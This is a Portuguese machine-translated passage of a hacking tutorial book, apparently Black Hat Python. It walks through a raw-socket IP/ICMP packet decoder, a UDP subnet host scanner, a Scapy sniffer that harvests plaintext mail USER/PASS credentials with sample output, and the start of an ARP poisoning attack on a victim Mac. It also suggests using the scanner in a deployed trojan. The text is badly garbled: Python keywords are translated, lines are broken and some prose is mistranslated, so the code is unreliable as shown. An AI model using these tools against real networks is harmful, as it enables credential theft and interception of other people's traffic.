self.src =
cabeçalho[8]
self.dst =
cabeçalho[9]

# endereços IP legíveis por humanos


self.src_address = ipaddress.ip_address(self.src)
self.dst_address = ipaddress.ip_address(self.dst)

# constantes do protocolo do mapa para seus


nomes self.protocol_map = {1: "ICMP", 6: "TCP",
17: "UDP"}

O primeiro caractere de formato (em nosso caso, <) sempre especifica a


endianness dos dados, ou a ordem dos bytes dentro de um número binário. Os
tipos C são repre- sentados no formato nativo da máquina e na ordem dos
bytes. Neste caso, estamos em Kali (x64), que é little-endian. Em uma
máquina little-endian, o byte menos significante é armazenado no
endereço inferior, e o byte mais significante no endereço mais alto.
Os próximos caracteres de formato representam as partes individuais do
42 Capítulo 3
cabeçalho. O módulo de estrutura fornece vários caracteres de formato.
Para o cabeçalho IP, precisamos apenas dos caracteres de formato B (1 byte
sem assinatura), H (2 bytes sem assinatura), e s (uma matriz de bytes que
requer uma especificação de largura de byte; 4s significa uma cadeia de 4
bytes). Observe como nossa cadeia de formato corresponde à estrutura do
diagrama de cabeçalho IP na Figura 3-1.
Lembre-se que com os tipos, poderíamos especificar a largura de bit das
peças de cabeçalho indi- vidual. Com estrutura, não há nenhum caractere de
formato para um nybble (uma unidade de dados de 4 bits, também
conhecido como mordiscar), então temos que fazer alguma manipulação para
obter as variáveis ver e hdrlen da primeira parte do cabeçalho.

Escrevendo um Sniffer 43
Do primeiro byte de dados de cabeçalho que recebemos, queremos
atribuir à variável ver apenas o nybble de alta ordem (o primeiro nybble no
byte). A maneira típica de obter o nybble de alta ordem de um byte é
deslocar o byte para a direita por quatro lugares, o que equivale a pré-fixar
quatro 0s para a frente do
Isto nos deixa apenas com o primeiro nybble do byte original. O código Python
faz essencialmente o seguinte:

0 1 0 1 0 1 1 0 >> 4

0 0 0 0 0 1 0 1

Queremos atribuir à variável hdrlen o nybble de baixa ordem, ou os


últimos 4 bits do byte. A maneira típica de obter o segundo nybble de um
byte é usar o Booleano E operador com 0xF (00001111) 2. Isto se aplica ao
Booleano
operação tal que 0 E 1 produzem 0 (já que 0 é equivalente a FALSO, e
1 é equivalente a VERDADEIRO). Para que a expressão seja verdadeira, tanto
a primeira parte quanto a última devem ser verdadeiras. Portanto, esta
operação elimina os primeiros 4 bits, pois qualquer ANDed com 0 será 0.
Deixa os últimos 4 bits inalterados, pois qualquer ANDed com 1 retornará o
valor original. Essencialmente, o código Python manipula o byte da seguinte
forma:

0 1 0 1 0 1 1 0
E 0 0 0 1 1 1 1

0 0 0 0 0 1 1 0

Você não precisa saber muito sobre manipulação binária para decodificar
um cabeçalho IP, mas você verá certos padrões, como o uso de turnos e
E vezes sem conta à medida que você explorar o código de outros
hackers, então vale a pena entender essas técnicas.
Em casos como este que requerem alguma mudança de bits, a
decodificação de dados binários exige algum esforço. Mas para muitos casos
(como a leitura de mensagens ICMP), é muito simples de configurar: cada
parte da mensagem ICMP é um múltiplo de 8 bits, e os caracteres de
formato fornecidos pelo módulo estrutural são múltiplos de 8 bits, portanto
não há necessidade de dividir um byte em nybbles separados. Na mensagem
ICMP de Resposta Ecológica mostrada na Figura 3-2, você pode ver que cada
parâmetro do cabeçalho ICMP pode ser definido em uma estrutura com uma
das letras for- mat existentes (BBHHH).

0 4 8 12 16 20 24 28 32
Tipo Códig Checksum
o
Identific Número
ador seqüencial
44 Capítulo 3
Dados
opcionais
Figura 3-2: Exemplo de mensagem de Resposta de Eco ICMP

Escrevendo um Sniffer 45
Uma maneira rápida de analisar esta mensagem seria simplesmente
atribuir 1 byte aos dois primeiros atributos e 2 bytes aos três atributos
seguintes:

classe ICMP:
def init (self, buff):
header = struct.unpack('<BBHHH', buff)
self.type = header[0]
self.code = header[1]
self.sum = header[2]
self.id = header[3]
self.seq = header[4]

Leia a documentação estrutural (https://docs.python.org/3/library/struct


.html) para detalhes completos sobre o uso deste módulo.
Você pode usar tanto o módulo de tipos quanto o módulo de
estrutura para ler e analisar dados binários. Não importa qual abordagem
você faça, você instanciará a classe desta forma:

mypacket = IP(buff)
print(f'{mypacket.src_address} -> {mypacket.dst_address}')

Neste exemplo, você instanciará a classe IP com seus dados do pacote no buff
variável.

Escrevendo o Decodificador IP
Vamos implementar a rotina de decodificação de IP que acabamos de criar em
um arquivo chamado
sniffer_ip_header_decode.py, como mostrado aqui:

importação
ipaddress
importação os
sistema de
estrutura de
importação
de soquetes
de
importação

1 classe IP:
def init (self, buff=None):
header = struct.unpack('<BBHHHBBH4s4s', buff)
self.ver = header[0] >> 4
self.ihl = cabeçalho[0] & 0xF

46 Capítulo 3
self.tos = header[1]
self.len = header[2]
self.id = header[3]
self.offset = header[4]
self.ttl = header[5]
self.protocol_num = header[6]
self.sum = header[7]
self.src =
cabeçalho[8]
self.dst =
cabeçalho[9]

Escrevendo um Sniffer 47
2 # endereços IP legíveis por humanos
self.src_address = ipaddress.ip_address(self.src)
self.dst_address = ipaddress.ip_address(self.dst)

# mapa constante do protocolo de seus nomes


self.protocol_map = {1: "ICMP", 6: "TCP", 17:
"UDP"} try:
self.protocol = self.protocol_map[self.protocol_num]
exceto Exceção como e:
print('%s No protocol for %s' % (e, self.protocol_num))
self.protocol = str(self.protocol_num)

def sniff(anfitrião):
# deve parecer familiar do exemplo anterior
se os.name == 'nt':
socket_protocol = socket.IPPROTO_IP
else:
socket_protocol = socket.IPPROTO_ICMP

sniffer = socket.socket(socket.AF_INET,
socket.SOCK_RAW, socket_protocolo)
sniffer.bind((host, 0))
sniffer.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)

se os.name == 'nt':
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

tente:
enquanto Verdadeiro:
# ler um pacote
3 raw_buffer = sniffer.recvfrom(65535)[0]
# criar um cabeçalho IP a partir dos primeiros 20 bytes
4 ip_header = IP(raw_buffer[0:20])
# imprimir o protocolo detectado e os anfitriões
5 print('Protocol: %s %s -> %s' % (ip_header.protocol,
ip_header.src_address,
ip_header.dst_address))

exceto KeyboardInterrupt:
# se estivermos no Windows, desligue o modo
promíscuo se os.name == 'nt':
sniffer.ioctl(socket.SIO_RCVALL,
socket.RCVALL_OFF) sys.exit()

if name == ' principal ': if


len(sys.argv) == 2:

48 Capítulo 3
host = sys.argv[1]
senão:
host = '192.168.1.203
sniff(anfitrião)

Primeiro, incluímos nossa definição de classe IP 1, que define uma


estrutura Python que irá mapear os primeiros 20 bytes do buffer
recebido em um cabeçalho IP amigável. Como você pode ver, todos os
campos que identificamos

Escrevendo um Sniffer 49
combinar muito bem com a estrutura do cabeçalho. Fazemos algumas
tarefas domésticas para produzir alguma saída legível por humanos que
indique o protocolo em uso e os endereços IP envolvidos na conexão 2.
Com nossa cunhagem recém cunhada
estrutura IP, agora escrevemos a lógica para ler continuamente em pacotes e
analisem suas informações. Lemos no pacote 3 e depois passamos os
primeiros 20 bytes 4 para inicializar nossa estrutura IP. Em seguida,
simplesmente imprimimos a informação que capturamos 5. Vamos
experimentá-la.

Chutando os Pneus
Vamos testar nosso código anterior para ver que tipo de informação
estamos extraindo dos pacotes brutos que estão sendo enviados.
Definitivamente, recomendamos que você faça este teste a partir de sua
máquina Windows, pois você poderá ver TCP, UDP e ICMP, o que lhe
permite fazer alguns testes bem arrumados (abrindo um navegador, por
exemplo). Se você estiver confinado ao Linux, então execute o teste de ping
anterior para vê-lo em ação.
Abra um terminal e digite o seguinte:

python sniffer_ip_header_decode.py

Agora, como o Windows é bastante tagarela, é provável que você


veja a saída imediatamente. Os autores testaram este script abrindo o
Internet Explorer e indo para www.google.com, e aqui está a saída de
nosso script:

Protocolo: UDP 192.168.0.190 -> 192.168.0.1


Protocolo: UDP 192.168.0.1 -> 192.168.0.190
Protocolo: UDP 192.168.0.190 -> 192.168.0.187
Protocolo: TCP 192.168.0.187 -> 74.125.225.183
Protocolo: TCP 192.168.0.187 -> 74.125.225.183
Protocolo: TCP 74.125.225.183 -> 192.168.0.187
Protocolo: TCP 192.168.0.187 -> 74.125.225.183

Como não estamos fazendo nenhuma inspeção profunda nestes


pacotes, podemos apenas adivinhar o que este fluxo está indicando. Nosso
palpite é que os primeiros pacotes UDP são as consultas ao Sistema de
Nomes de Domínio (DNS) para determinar onde o google.com vive, e as
sessões TCP subsequentes são nossa máquina realmente conectando e
baixando conteúdo de seu servidor web.
Para realizar o mesmo teste no Linux, podemos pingar google.com,
e os resultados serão algo parecidos com isto:

Protocolo: ICMP 74.125.226.78 -> 192.168.0.190


Protocolo: ICMP 74.125.226.78 -> 192.168.0.190
Protocolo: ICMP 74.125.226.78 -> 192.168.0.190

Você já pode ver a limitação: estamos vendo apenas a resposta e


apenas para o protocolo ICMP. Mas como estamos construindo
propositalmente um scanner de descoberta do hospedeiro, isto é
50 Capítulo 3
completamente aceitável. Agora vamos aplicar as mesmas técnicas que
usamos para decodificar o cabeçalho IP para decodificar as mensagens do
ICMP.

Escrevendo um Sniffer 51
Descodificando o ICMP
Agora que podemos decodificar completamente a camada IP de quaisquer
pacotes cheirados, temos que ser capazes de decodificar as respostas do
ICMP que nosso scanner irá extrair de
envio de datagramas UDP para portos fechados. As mensagens ICMP podem
variar muito em seu conteúdo, mas cada mensagem contém três elementos
que permanecem consis- tenda: o tipo, o código e os campos de checksum.
Os campos de tipo e código dizem ao host receptor que tipo de mensagem
ICMP está chegando, o que então dita como decodificá-la corretamente.
Para o propósito de nosso scanner, estamos procurando um valor de
tipo 3 e um valor de código 3. Isto corresponde à classe Destination
Unreachable das mensagens ICMP, e o valor de código 3 indica que o erro
de porta inalcançável foi causado. Consulte a Figura 3-3 para obter um
diagrama de uma mensagem ICMP de Destination Unreachable (Destino
inatingível).

Destino Mensagem inatingível

0–7 8–15 16–31

Tipo = 3 Código Cheque de


cabeçalho

Não Próxima loja MTU


utilizad
o
Cabeçalho IP e primeiros 8 bytes dos dados originais
dos datagramas

Figura 3-3: Diagrama da mensagem ICMP inalcançável de destino

Como você pode ver, os primeiros 8 bits são o tipo, e os segundos 8 bits
contêm nosso código ICMP. Uma coisa interessante a se notar é que quando
um host envia uma destas mensagens ICMP, ele na verdade inclui o
cabeçalho IP da mensagem orig- inating que gerou a resposta. Também
podemos ver que vamos verificar novamente contra 8 bytes do datagrama
original que foi enviado, a fim de garantir que nosso scanner tenha gerado a
resposta ICMP. Para fazer isso, simplesmente cortamos os últimos 8 bytes do
buffer recebido para puxar a seqüência mágica que nosso scanner envia.
Vamos adicionar mais algum código ao nosso sniffer anterior para
incluir a capacidade de decodificar os pacotes ICMP. Vamos salvar nosso
arquivo anterior como sniffer_with_icmp.py e adicionar o seguinte código:

importação
ipaddress

52 Capítulo 3
importação os
sistema de
estrutura de
importação
de soquetes
de
importação

classe IP:
--snip--

1 classe ICMP:
def init (self, buff):

Escrevendo um Sniffer 53
header = struct.unpack('<BBHHH', buff)
self.type = header[0]
self.code = header[1]
self.sum = header[2]
self.id = header[3]
self.seq = header[4]

def sniff(anfitrião):
--snip--
ip_header =
IP(raw_buffer[0:20]) # se for
ICMP, nós o queremos
2 se ip_header.protocol == "ICMP":
print('Protocol: %s %s -> %s' % (ip_header.protocol,
ip_header.src_address, ip_header.dst_address)
imprimir(f'Versão: {ip_header.ver}')
print(f'Header Length: {ip_header.ihl} TTL: {ip_header.ttl}')

# calcular onde começa nosso pacote ICMP


3 offset = ip_header.ihl * 4
buf = tampão_bruto[offset:offset + 8]
# criar nossa estrutura ICMP
4 icmp_header = ICMP(buf)
imprimir('ICMP -> Tipo: Código %s: %s\n' %
(icmp_header.type, icmp_header.code))

exceto
KeyboardInterrupt:
se os.name == 'nt':
sniffer.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)
sys.exit()

if name == ' principal ': if


len(sys.argv) == 2:
host = sys.argv[1]
senão:
host = '192.168.1.203
sniff(anfitrião)

Este simples pedaço de código cria uma estrutura ICMP 1 abaixo de


nossa estrutura IP existente. Quando o loop principal de recepção de pacotes
determina que recebemos um pacote ICMP 2, calculamos o offset no pacote
bruto onde o corpo do ICMP vive 3 e então criamos nosso buffer 4 e
imprimimos os campos de tipo e código. O cálculo do comprimento é
baseado no IP

54 Capítulo 3
campo ihl do cabeçalho, que indica o número de palavras de 32 bits
(pedaços de 4 bytes) contidas no cabeçalho IP. Assim, ao multiplicar este
campo por 4, sabemos o tamanho do cabeçalho IP e, portanto, quando
começa a próxima camada de rede (ICMP, neste caso).
Se executarmos rapidamente este código com nosso típico teste de
ping, nossa saída deverá agora ser ligeiramente diferente:

Protocolo: ICMP 74.125.226.78 -> 192.168.0.190


ICMP -> Tipo: 0 Código: 0

Escrevendo um Sniffer 55
Isto indica que as respostas do ping (ICMP Echo) estão sendo
corretamente recebidas e decodificadas. Estamos agora prontos para
implementar a última parte da lógica para enviar os datagramas do UDP e
interpretar seus resultados.
Agora vamos adicionar o uso do módulo ipaddress para que possamos
cobrir uma sub-rede inteira com nossa varredura de descoberta do host. Salve
seu sniffer_with_icmp.py script como scanner.py e adicione o seguinte código:

importação
ipaddress
importação os
sistema de
importação de
importação de
soquetes de
importação
estrutura
tempo de
importação de
roscas de
importação

# subrede para o alvo


SUBREDE = '192.168.1.0/24'.
# corda mágica vamos verificar as respostas do
ICMP para MENSAGEM = 'PYTHONRULES'! 1

classe IP:
--snip--

classe ICMP:
--snip--

# isto borrifa os datagramas UDP com nossa mensagem


mágica def udp_sender(): 2
com socket.socket(socket.AF_INET, socket.SOCK_DGRAM) como remetente:
para ip em ipaddress.ip_network(SUBNET).hosts():
sender.sendto(bytes(MESSAGE, 'utf8'), (str(ip), 65212))

Scanner de
classe: 3
def init (self, host):
self.host = anfitrião
se os.name == 'nt':
socket_protocol = socket.IPPROTO_IP
56 Capítulo 3
else:
socket_protocol = socket.IPPROTO_ICMP

self.socket = socket.socket(socket.AF_INET,
socket.SOCK_RAW, socket_protocolo)
self.socket.bind((host, 0))

self.socket.setsockopt(socket.IPPROTO_IP,

socket.IP_HDRINCL, 1) if os.name == 'nt':


self.socket.ioctl(socket.SIO_RCVALL, socket.RCVALL_ON)

def sniff(self): 4
hosts_up = set([f'{str(self.host)} *'])
tente:
enquanto Verdadeiro:
# ler um pacote

Escrevendo um Sniffer 57
raw_buffer = self.socket.recvfrom(65535)[0]
# criar um cabeçalho IP a partir dos primeiros 20
bytes ip_header = IP(raw_buffer[0:20])
# Se é ICMP, nós o queremos
se ip_header.protocol == "ICMP":
offset = ip_header.ihl * 4
buf = tampão_bruto[offset:offset + 8]
icmp_header = ICMP(buf)
# verificação para TIPO 3 e CÓDIGO
se icmp_header.code == 3 e icmp_header.type == 3:
se ipaddress.ip_address(ip_header.src_address) em 5
ipaddress.IPv4Network(SUBNET):

# certifique-se de que ela tenha nossa mensagem mágica


if raw_buffer[len(raw_buffer) - len(MESSAGE):] == 6
bytes(MENSAGEM, 'utf8'):
tgt = str(ip_header.src_address)
if tgt != self.host e tgt not in hosts_up:
hosts_up.add(str(ip_header.src_addres
s)) print(f'Host Up: {tgt}') 7
# Manusear CTRL-C
exceto KeyboardInterrupt: ❽
se os.name == 'nt':
self.socket.ioctl(socket.SIO_RCVALL, socket.RCVALL_OFF)

print('\nUser interrupted.')
if hosts_up:
print(f'n'nSummary: Hosts up on
{SUBNET}') para host in sorted(hosts_up):
print(f'{host}')
print('')
sys.exit()

if name == ' principal ': if


len(sys.argv) == 2:
host = sys.argv[1]
senão:
host = '192.168.1.203
s = Scanner(host)
time.sleep(5)
t = threading.Thread(target=udp_sender) 9
t.start()
s.sniff()

Este último pedaço de código deve ser bastante simples de entender.


Definimos uma simples assinatura de string 1 para que possamos testar
que as respostas estão vindo de pacotes UDP que enviamos originalmente.
58 Capítulo 3
Nossa função udp_sender 2 simplesmente aceita uma subrede que
especificamos no topo de nosso script, itera
através de todos os endereços IP naquela sub-rede, e dispara datagramas
UDP contra eles. Em seguida, definimos um Scanner classe 3. Para
inicializá-lo, passamos um host como um argumento. Ao inicializá-lo, criamos
um socket, ligamos o modo promíscuo se
rodando Windows, e tornar o soquete um atributo da classe Scanner.

Escrevendo um Sniffer 59
O método sniff ❹ fareja a rede, seguindo os mesmos passos do exemplo
anterior, exceto que desta vez mantém um registro de quais hospedeiros
estão no ar. Se detectarmos a mensagem antecipada do ICMP, primeiro
verificamos para fazer
certeza de que a resposta do ICMP está vindo de dentro de nossa sub-rede
O. Em seguida, realizamos nossa verificação final para ter certeza de que a
resposta do ICMP tem nosso fio mágico ⑥. Se todos esses cheques
passarem, imprimimos o endereço IP do host onde a mensagem ICMP teve
origem ❼. Quando terminamos o processo de checagem usando CTRL-C,
lidamos com a interrupção do teclado ❽. Ou seja, desligamos o modo
promíscuo se no Windows e imprimimos um
lista de anfitriões ao vivo.
O bloco principal faz o trabalho de configuração das coisas: cria o objeto
Scanner, dorme apenas alguns segundos, e então, antes de chamar o
método sniff, cria o udp_sender em uma linha separada ❾ para garantir
que não estamos
interferindo com nossa capacidade de farejar respostas. Vamos experimentar.

Chutando os Pneus
Agora vamos pegar nosso scanner e colocá-lo contra a rede local. Você pode
usar Linux ou Windows para isso, pois os resultados serão os mesmos. No
caso dos autores, o endereço IP da máquina local em que estávamos era
192.168.0.187, então ajustamos nosso scanner para atingir 192.168.0.0/24.
Se a saída for muito ruidosa quando você executar seu scanner,
simplesmente comente todas as declarações impressas, exceto a última que
lhe diz o que os anfitriões estão respondendo.

python.exe
scanner.py Host Up:
192.168.0.1
Host Up: 192.168.0.190
Host Up: 192.168.0.192
Host Up: 192.168.0.195

O MÓDULO IPADDRESS

Nosso scanner usará uma biblioteca chamada ipaddress, que nos


permitirá alimentar em uma máscara de sub-rede como a 192.168.0.0/24 e
ter nosso scanner manuseado apropriadamente.
O módulo ipaddress torna muito fácil o trabalho com sub-redes e
endereçamento. Por exemplo, você pode executar testes simples como os
seguintes usando o objeto Ipv4Network:

ip_address = "192.168.112.3

se ip_address in Ipv4Network("192.168.112.0/24"):
50 Capítulo 3
imprimir Verdadeiro
Escrevendo um Sniffer 51
Ou você pode criar iteradores simples se quiser enviar pacotes para uma rede inteira:

para ip em
Ipv4Network("192.168.112.1/24"): s
= socket.socket()
s.connect((ip, 25))
# enviar pacotes
de correio

Isto simplificará muito sua vida de programação ao lidar com redes inteiras de
Paravez,
cada uma e évarredura rápida
ideal para nossa como adeque
ferramenta realizamos,
descoberta levou apenas
de anfitriões.
alguns segundos para obter os resultados. Cruzando estes endereços IP
com a tabela DHCP em um roteador doméstico, pudemos verificar se os
resultados eram precisos. Você pode facilmente expandir o que aprendeu
neste capítulo para decodificar pacotes TCP e UDP, assim como para
construir ferramentas adicionais em torno do scanner. Este scanner
também é útil para a estrutura do trojan que começaremos a construir
no Capítulo 7. Isto permitiria que um trojan implantado digitalizasse a
rede local em busca de alvos adicionais.
Agora que você conhece as bases de como as redes funcionam em alto e
baixo nível, vamos explorar uma biblioteca Python muito madura chamada
Scapy.

50 Capítulo 3
Escrevendo um Sniffer 51
4
OMO SE DEVE OU NÃO AO
SC A P Y

Ocasionalmente, você se depara com


uma biblioteca Python tão bem pensada e
surpreendente que mesmo dedicando um
capítulo inteiro a ela não pode
fazer justiça. Philippe Biondi criou tal biblioteca na
biblioteca de manipulação de pacotes Scapy.
Você pode apenas terminar este capítulo e perceber
que fizemos você fazer muito trabalho nos dois
capítulos anteriores para realizar o que você poderia
ter feito com apenas uma ou duas linhas de Scapy.
A terapia é poderosa e flexível, e suas possibilidades são quase
infinitas. Vamos ter um gostinho das coisas cheirando o tráfego para roubar
os potenciais de e-mail em texto puro e depois o ARP envenenando uma
máquina alvo na rede para que possamos cheirar seu tráfego. Vamos
embrulhar as coisas ampliando o processamento de pcap da Scapy para
esculpir imagens do tráfego HTTP e depois realizar a detecção facial nelas
para determinar se há humanos presentes nas imagens.
Recomendamos que você use o Scapy sob um sistema Linux, pois ele foi
projetado para trabalhar com o Linux em mente. A mais nova versão do
Scapy suporta Windows, mas para o propósito deste capítulo assumimos
que você está usando sua máquina virtual Kali (VM) com uma instalação
Scapy totalmente funcional. Se você não tiver o Scapy, vá para
https://scapy.net/
para instalá-lo.
Agora, suponha que você tenha se infiltrado na rede local (LAN) de um alvo.
Você pode farejar o tráfego na rede local com as técnicas que você
aprenderá neste capítulo.

Roubo de credenciais por e-mail


Você já gastou algum tempo para entrar nas porcas e parafusos de farejar
em Python. Vamos conhecer a interface do Scapy para farejar pacotes e
dissecar seu conteúdo. Vamos construir um sniffer muito simples para
capturar as credenciais do Simple Mail Transport Protocol (SMTP), Post
Office Protocol (POP3), e Internet Message Access Protocol (IMAP). Mais
tarde, acoplando o farejador com o ataque de envenenamento por ARP
(Address Resolution Protocol) man-in-the-middle (MITM), podemos roubar
facilmente as credenciais de outras máquinas na rede. Esta técnica pode, é
claro, ser aplicada a qualquer protocolo, ou simplesmente sugar todo o
tráfego e armazená-lo em um arquivo pcap para análise, o que também
demonstraremos.
Para ter uma idéia da Scapy, vamos começar construindo um farejador de
esqueletos que sim- ply disseca e descarrega os pacotes. A função de
farejar, adequadamente nomeada, parece ser a seguinte:

sniff(filter=""",iface="any",prn=função,count=N)

O parâmetro do filtro nos permite especificar um filtro Berkeley Packet


Filter (BPF) para os pacotes que Scapy fareja, que pode ser deixado em
branco para farejar todos os pacotes. Por exemplo, para farejar todos os
pacotes HTTP, você usaria um filtro BPF
do porto tcp 80. O parâmetro iface diz ao farejador qual a interface de rede a
ser farejada; se for deixado em branco, Scapy farejará em todas as
interfaces. O parâmetro prn especifica uma função de retorno a ser chamada
para cada pacote que corresponda ao filtro, e a função de retorno recebe
o objeto do pacote como seu único parâmetro. O parâmetro count
especifica quantos pacotes você quer cheirar; se for deixado em branco,
Scapy cheirará indefinidamente.
Vamos começar criando um simples farejador que fareja um pacote e
descarrega seu conteúdo. Vamos então expandi-lo para farejar apenas
comandos relacionados a e-mail. Abrir o mail_sniffer.py e bloquear o
seguinte código:

de scapy.all import sniff


54 Capítulo 4
1 def
packet_callback(packe
t): print(packet.show())

def main():
2 sniff(prn=packet_callback, count=1)

Possuir a Rede com Scapy 55


se nome == ' ' principal ':
principal()

Começamos definindo a função de retorno que receberá cada pacote


cheirado 1 e depois simplesmente dizemos ao Scapy para começar a
cheirar 2 em todas as interfaces sem filtragem. Agora vamos executar o
script, e você deve ver a saída semelhante
para o seguinte:

$ (bhp) tim@kali:~/bhp/bhp$ sudo python mail_sniffer.py


####[[ Ethernet ]####
dst= 42:26:19:19:1a:31:64
src= 00:0c:29:39:46:7e
type=
IPv6 ####[ IPv6
]####
versão= 6
tc= 0
fl= 661536
plenário= 51
nh= UDP
hlim= 255
src= fe80::20c:29ff:fe39:467e
dst=
fe80::1079:9d3f:d4a8:defb
####[ UDP ]####
esporte= 42638
dport= domínio
len= 51
chksum
= 0xcf66 ###[[ DNS ]####
id= 22299
qr= 0
opcode= QUERY
aa= 0
tc= 0
rd= 1
ra= 0
z= 0
ad= 0
cd= 0
rcode= ok
qdcount= 1
ancount= 0
nscount= 0
arcada= 0
\qd \
|####[ Registro de Pergunta DNS ]####
| qname= 'vortex.data.microsoft.com'.
| qtype= A

56 Capítulo 4
| IN
an=
Nenhu
ma
ns= Nenhum
ar= Nenhum

Possuir a Rede com Scapy 57


Como isso foi incrivelmente fácil! Podemos ver que quando o primeiro
pacote foi recebido na rede, a função callback usou o pacote de funções
embutido.show para exibir o conteúdo do pacote e dissecar algumas das
informações do protocolo. O uso do show é uma ótima maneira de depurar
scripts, pois você vai junto para ter certeza de que está capturando a saída
que deseja.
Agora que temos o sniffer básico funcionando, vamos aplicar um filtro e
adicionar alguma lógica à função de retorno de chamada para descascar as
cordas de autenticação relacionadas ao e-mail.
No exemplo a seguir usaremos um filtro de pacotes para que o farejador
dis- jogue apenas os pacotes em que estamos interessados. Usaremos a
sintaxe BPF, também chamada de estilo Wireshark, para fazer isso. Você
encontrará esta sintaxe com ferramentas como o tcpdump, bem como nos
filtros de captura de pacotes usados com o Wireshark.
Vamos cobrir a sintaxe básica do filtro BPF. Há três tipos de
informações que você pode usar em seu filtro. Você pode especificar
um descritor (como um host específico, interface ou porta), a direção
do fluxo de tráfego, e o
protocolo, como mostrado na Tabela 4-1. Você pode incluir ou omitir o tipo,
a direção e o protocolo, dependendo do que você deseja ver nos pacotes
cheirados.

Tabela 4-1: Sintaxe do filtro BPF

Expressão Descrição Amostra de palavras-


chave do filtro
Descritor O que você está procurando anfitrião, rede, porto

Direção Sentido da viagem src, dst, src ou dst


Protocolo Protocolo utilizado para enviar ip, ip6, tcp, udp
tráfego

Por exemplo, a expressão src 192.168.1.100 especifica um filtro que


captura somente pacotes originados na máquina 192.168.1.100. O filtro
oposto é o dst 192.168.1.100, que captura somente pacotes com um
destino de 192.168.1.100. Da mesma forma, a expressão tcp porta 110 ou
tcp porta 25 especifica um filtro que passará somente os pacotes TCP
vindos ou indo para a porta 110 ou
25. Agora vamos escrever um sniffer específico usando a sintaxe BPF em nosso
exemplo:

de scapy.all import sniff, TCP, IP # a

chamada de retorno do pacote


def packet_callback(packet):
1 se pacote[TCP].payload:
mypacket = str(packet[TCP].payload)

58 Capítulo 4
2 se 'usuário' em mypacket.lower() ou 'passe' em
mypacket.lower(): impressão(f"[*] Destino:
{packet[IP].dst}")
3 print(f"[*] {str(packet[TCP].payload)}")

def main():
# dispara o farejador
4 sniff(filter='tcp port 110 ou tcp port 25 ou tcp port 143',
prn=packet_callback, store=0)

se nome == ' ' principal ':


principal()

Possuir a Rede com Scapy 59


Aqui as coisas são bem simples. Mudamos a função sniff para adicionar um
filtro BPF que inclui apenas o tráfego destinado às portas comuns de
correio 110 (POP3), 143 (IMAP) e 25 (SMTP) 4. Também usamos um
novo parâmetro
chamada loja, que, quando configurada a 0, garante que a Scapy não está
mantendo o
pacotes em memória. É uma boa idéia usar este parâmetro se você
pretende deixar um sniffer em funcionamento a longo prazo, porque assim
você não estará consumindo grandes quantidades de RAM. Quando a
função de retorno é chamada, nós verificamos para fazer
certeza de que tem uma carga útil de dados 1 e se a carga útil contém o
comando típico de correio USUÁRIO ou PASS 2. Se detectarmos uma cadeia
de autenticação, nós imprimimos o servidor para o qual estamos enviando e
os bytes de dados reais do pacote 3.

Chutando os Pneus
Aqui estão alguns exemplos de saída de uma conta de e-mail fictícia à qual os
autores tentaram conectar um cliente de correio:

(bhp) root@kali:/home/tim/bhp/bhp# python mail_sniffer.py


[*] Destino: 192.168.1.207 [*]
b'USER tim\n'
[*] Destino: 192.168.1.207 [*]
b'PASS 1234567n'

Você pode ver que nosso cliente de correio está tentando entrar no
servidor em 192.168.1.207 e enviar as credenciais em texto simples através
do fio. Este é um
exemplo realmente simples de como você pode pegar um Scapy sniffing
script e transformá-lo em uma ferramenta útil durante os testes de
penetração. O script funciona para o tráfego de correio porque projetamos
o filtro BPF para focar nas portas relacionadas ao correio. Você pode mudar
esse filtro para monitorar outro tráfego; por exemplo, mudá-lo para a porta
21 do tcp para observar as conexões e credenciais de FTP.
Cheirar seu próprio tráfego pode ser divertido, mas é sempre melhor
cheirar com um amigo; vamos dar uma olhada em como você pode
realizar um ataque de envenenamento ARP para cheirar o tráfego de uma
máquina alvo na mesma rede.

ARP Envenenamento por Cache com Scapy


O envenenamento por ARP é um dos truques mais antigos e mais eficazes do
kit de ferramentas de um hacker. Muito simplesmente, convenceremos uma
máquina alvo de que nos tornamos sua porta de entrada, e também
convenceremos a porta de entrada de que, para chegar à máquina alvo, todo
o tráfego tem que passar por nós. Cada computador em uma rede mantém
um cache ARP que armazena os endereços MAC (Media Access Control) mais
60 Capítulo 4
recentes que correspondem aos endereços IP na rede local. Nós
envenenamos este cache com entradas que controlamos para atingir este
ataque. Como o Protocolo de Resolução de Endereços, e envenenamento ARP
em geral, é coberto por inúmeros outros materiais, deixaremos a você fazer
qualquer pesquisa necessária para entender como este ataque funciona em
um nível inferior.
Agora que sabemos o que precisamos fazer, vamos colocá-lo em
prática. Quando os autores testaram isto, atacamos uma verdadeira
máquina Mac de uma Kali VM. Também testamos este código contra vários
dispositivos móveis conectados a um ponto de acesso sem fio, e funcionou
muito bem. A primeira coisa que vamos fazer é

Possuir a Rede com Scapy 61


Verifique o cache ARP na máquina Mac alvo para que possamos ver o ataque
em ação mais tarde. Examine o seguinte para ver como inspecionar o cache
do ARP em seu Mac:

MacBook-Pro:~ victim$ ifconfig en0


en0: bandeiras=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST>
mtu 1500
ether 38:f9:d3:63:5c:48
inet6 fe80::4bc:91d7:29ee:51d8%en0 prefixlen 64 secured scopeid
0x6 inet 192.168.1.193 netmask 0xffffffff00 broadcast 192.168.1.255
inet6 2600:1700:c1a0:6ee0:1844:8b1c:7fe0:79c8 prefixlen 64 autoconf
secured inet6 2600:1700:c1a0:6ee0:fc47:7c52:affd:f1f6 prefixlen 64
autoconf temporary inet6 2600:1700:c1a0:6ee0::31 prefixlen 64 dynamic
nd6
options=201<PERFORMNUD,DAD
> media: autoselect
status: ativo

O comando ifconfig exibe a configuração da rede para a interface


específica (aqui, é en0) ou para todas as interfaces se você não especificar uma.
A saída mostra que o endereço inet (IPv4) para o dispositivo é 192.168.1.193.
Também estão listados o endereço MAC (38:f9:d3:63:5c:48, rotulado como
ether) e alguns endereços IPv6. O envenenamento ARP funciona apenas
para endereços IPv4, portanto ignoraremos os endereços IPv6.
Agora vamos ver o que o Mac tem em seu cache de endereços ARP. O
seguinte mostra o que ele pensa que os endereços MAC são para seus
vizinhos na rede:
MacBook-Pro:~ victim$ arp -a
1 kali.attlocal.net (192.168.1.203) em a4:5e:60:ee:17:5d em en0 ifscope
2 dsldevice.attlocal.net (192.168.1.254) às 20:e5:64:c0:76:d0 em en0 ifscope
? (192.168.1.255) em ff:ff:ff:ff:ff:ff:ff em en0 ifscope [ethernet]

